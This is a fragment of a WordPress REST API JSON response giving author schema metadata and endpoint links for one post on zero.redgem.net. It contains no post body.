redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25956","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25956"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25956\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}